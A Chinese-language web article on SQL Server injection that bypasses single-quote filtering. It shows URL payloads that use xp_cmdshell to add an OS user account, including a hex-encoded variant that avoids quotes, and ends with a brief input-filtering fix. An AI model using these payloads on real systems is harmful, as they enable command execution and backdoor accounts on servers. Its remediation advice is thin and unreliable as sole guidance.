当前位置:  数据库>sqlserver

sql绕过单引号限制继续注入的解决方法

    来源: 互联网  发布时间:2014-08-29

    本文导语:  在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:   代码示例: http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';-- 大家可能觉得...

在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:
 

代码示例:
http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
 

代码示例:
http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。
先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
 

代码示例:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解决办法:
过滤变量,限制只允许输入特定字符。
比如对于数字类型的变量就限制只能输入数字类型的数据。

具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。


    
 
 
 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • Practico CMS 'uid' SQL注入漏洞
  • C#使用带like的sql语句时防sql注入的方法
  • 堵住sql server中sql注入漏洞的的方法
  • SQL注入测试平台 SQLol
  • 开源跨平台SQL注入漏洞扫描工具 Hexjector
  • Java自动化SQL注入测试工具 jSQL
  • 自动 SQL 注入工具 sqlmap
  • php防止sql注入代码实例
  • SQL盲注入工具 BlindSQLInjector
  • SQL注入漏洞检测&利用工具 aidSQL
  • 三步堵死 SQL Server注入漏洞
  • php is_numberic函数产生sql注入漏洞怎么解决
  • 经典sql代码--解决并清除SQL被注入恶意代码的语句
  • php中sql注入漏洞示例 sql注入漏洞修复
  • 防止sql注入方法与实例代码
  • 解析:清除SQL被注入恶意病毒代码的语句
  • SQL 注入式攻击的本质
  • php防SQL注入代码(360提供)
  • 输入值/表单提交参数过滤有效防止sql注入的方法
  • PHP登录环节防止sql注入的方法浅析
  • Discuz7.2版的faq.php SQL注入漏洞分析
  • java命名空间java.sql接口statement的类成员方法: executeupdate定义及介绍
  • 请问,这是什么错误!java.sql.SQLException: [Microsoft][ODBC SQL Server Driver][Named Pipes]??????? SQL Server?虽然分少,但一定给,只要您是前5名回复者中最好的以为!
  • java命名空间java.sql接口connection的类成员方法: nativesql定义及介绍
  • SQL查询分析工具 SQL Workbench/J
  • java命名空间java.sql接口preparedstatement的类成员方法: executeupdate定义及介绍
  • oracle导出sql语句的结果集和保存执行的sql语句(深入分析)
  • java命名空间java.sql接口rowid的类成员方法: getbytes定义及介绍
  • SQL Server统计SQL语句执行时间的脚本
  • java命名空间java.sql接口ref的类成员方法: getbasetypename定义及介绍
  • SQL客户端软件 PKLite SQL Client


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3